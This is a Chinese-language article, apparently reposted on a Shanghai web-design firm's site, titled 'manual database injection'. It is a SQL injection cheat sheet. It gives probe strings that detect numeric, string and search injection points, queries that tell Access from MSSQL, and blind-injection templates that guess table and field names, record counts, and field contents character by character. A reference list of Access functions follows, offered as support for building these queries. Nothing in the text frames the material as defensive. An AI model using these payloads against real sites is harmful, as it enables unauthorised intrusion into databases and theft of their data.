关注联楷|返回首页 | 网站案例 | 帮助中心

合作共赢、快速高效、优质的网站建设提供商

上海网站建设 

服务热线:021-61394118

上海联楷科技

手动数据库注入

作者:佚名   时间:2012-09-20   分享到:

检测注入类型:

1.数字型

and 1=1 //返回正常页面

and 1=2 //返回错误页面或者和1=1返回的页面不同

 

2.字符型

' and 1=1 and ''=' //返回正常页面

' and 1=2 and ''=' //返回错误页面或者和1=1返回的页面不同

 

3.搜索型

%' and 1=1 and '%'='% //返回正常页面

%' and 1=2 and '%'='% //返回错误页面或者和1=1返回的页面不同

 

检测数据库类型:

and exists (select * from sysobjects) //数据库判断,报错则为ACCESS,正常显示为MSSQL

and exists (select * from msysobjects) //验证IIS错误提示

 

ACCESS数据库注射:

1.猜表

and exists (select * from [表名])

2.猜字段

and exists (select [字段名] from [表名])

3.猜表中的记录数

and (select Count(1) from [表名] where 1=1) between num1 and num2

4.猜字段名长度

and (select top 1 len([字段名1]) from (Select Top 1 [字段名1],[字段名2],...,[字段名n] from [表名] where 1=1 order by [字段名1],[字段名2],...,[字段名n]) T order by [字段名1] desc,[字段名2] desc,...,[字段名n] desc ) between num1 and num2

5.猜字段名内容

and (select top 1 asc(mid(cstr(字段名1),1,1)) from (Select Top 1 [字段名1],[字段名2],...,[字段名n] from [表名] where 1=1 order by [字段名1],[字段名2],...,[字段名n]) T order by [字段名1] desc,[字段名2] desc,...,[字段名n] desc ) between num1 and num2

 

ACCESS内置常用函数

1.日期

CDate 将字符串转化成为日期 select CDate("2005/4/5")

Date 返回当前日期

DateAdd 将指定日期加上某个日期select dateAdd("d",30,Date())将当前日期加上30天,其中d可以换为yyyy或H等

DateDiff 判断两个日期之间的间隔 select DateDiff("d","2006-5-1","2006-6-1")返回31,其中d可以换为yyyy,m,H等

DatePart 返回日期的某个部分 select DatePart("d","2006-5-1")返回1,即1号,d也可以换为yyyy或m

Day 返回日期的d部分,等同于datepart的d部分

Hour 返回日期的小时

IsDate 判断是否是日期,是日期返回-1,不是日期返回0

Minute 返回日期的分钟部分

Month 返回日期的月份部分

Now 返回当前时间(完整时间,包括年月日 小时分秒)

Second 返回日期的秒部分

Time 返回当前的时间部分(即除去年/月/日的部分)

Weekday 返回某个日期的当前星期(星期天为1,星期一为2,星期二为3...),例如select weekday(now());

Year 返回某个日期的年份

 

2.检查

IsEmpty 检测是否为空(不过经测试,不管什么情况,都返回0)

IsNull 检测是否为Null值,null值返回0,非null值返回-1

IsNumeric 检测是否为数字,是数字返回-1,否则返回0

 

3.算术

Abs 绝对值

Atn 返正切值。

Cos 余弦值

Exp 返回 e 的给定次幂。

Fix 返回数字的整数部分(即小数部分完全截掉)

Int 将数字向下取整到最接近的整数。(其实等同于Fix)

Log 返回以E为底的对数值

Rnd 返回一个0到1之间的随机数值

Sgn 返回数字的正负符号(正数返回1,负数返回-1,0值返回0)

Sin 正弦值

Sqr 返回平方根值

Tan 正切值

 

4.程序流程

Choose 根据第一参数,返回后面字符串组的值,Select Choose(1,"a","b","c")返回a,将1改成2后,返回b,改成3后,返回c(第一个参数也可以是某个字段)

IIF 根据表达式返回特定的值 Select IIF("3>1","OK","False"),返回OK

 

5.Sql合计函数

Avg 取字段平均值

Count 统计记录条数

Max 取字段最大值

Min 取字段最小值

StDev 估算样本的标准差(忽略样本中的逻辑值和文本)。

StDevP 计算以参数形式(忽略逻辑值和文本)给出的整个样本总体的标准偏差。

Sum 计算字段的总合

Var 估算样本方差(忽略样本中的逻辑值和文本)。

VarP 计算整个样本总体的方差(忽略样本总体中的逻辑值和文本)。

 

6.文本

Asc 返回字母的Acsii值,select Asc("A")返回65

Chr 将ascii值转换到字符 select chr(65)返回"A"

Format 格式化字符串,Select Format(now(),'yyyy-mm-dd')返回类似于"2005-04-03" ,Select Format(3/9,"0.00")返回0.33

InStr 查询子串在字符串中的位置 select Instr("abc","a")返回1,select Instr("abc","f")返回0

LCase 返回字符串的小写形式

Left 左截取字符串

Len 返回字符串长度

LTrim 左截取空格

Mid 取得子字符串 select mid("123",1,2) as midDemo 返回12

Right 右截取字符串

RTrim 右截取空格

Space 产生空格 select Space(4)返回4个空格

StrComp 比较两个字符串是否内容一致(不区分大小写)select StrComp("abc","ABC")返回0,select StrComp("abc","123")返回-1

Trim 截取字符串两头的空格

UCase 将字符串转大写
 



如没特殊注明,文章均为上海联楷网络原创,转载请注明来自:http://www.linksj.com/contact/20151229/n7492.html

上海联楷网络新闻